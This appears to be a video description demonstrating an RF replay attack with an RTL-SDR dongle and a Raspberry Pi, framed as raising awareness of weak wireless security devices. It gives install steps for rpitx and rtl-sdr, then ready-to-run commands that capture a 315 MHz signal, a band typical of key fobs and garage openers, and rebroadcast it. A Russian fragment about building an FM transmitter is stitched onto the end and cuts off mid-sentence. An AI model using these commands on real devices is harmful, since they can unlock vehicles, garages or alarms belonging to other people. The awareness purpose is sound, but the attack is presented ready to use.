This video is a demonstration on how with a simple RTL-SDR, and a raspberry pi, you can conduct a replay attack with many devices that utilize RF frequency to send information over the air.
This video also serves to bring awareness of modern day vulnerabilities when using these devices as a means to secure your possessions.

Commands used:
RPITX INSTALL:
sudo apt-get update
sudo apt-get install git
git clone https://github.com/F5OEO/rpitx
cd rpitx
./install.sh

RTL_SDR INSTALL:
git clone https://github.com/keenerd/rtl-sdr
cd rtl-sdr/

RECORD RF:
rtl_sdr -s 25000 -g 35 -f 315.0125e6 filename.iq

TRANSMIT RF:
sudo ./sendiq -s 25000 -f 315.0125e6 -t u8 -i filename.iq

Теперь каждый может сделать из своего Raspberry Pi неплохой FM передатчик. Для этого не нужно каких-то особых умений или деталей, всё, что вам понадобится — кусок провода длиной примерно в...
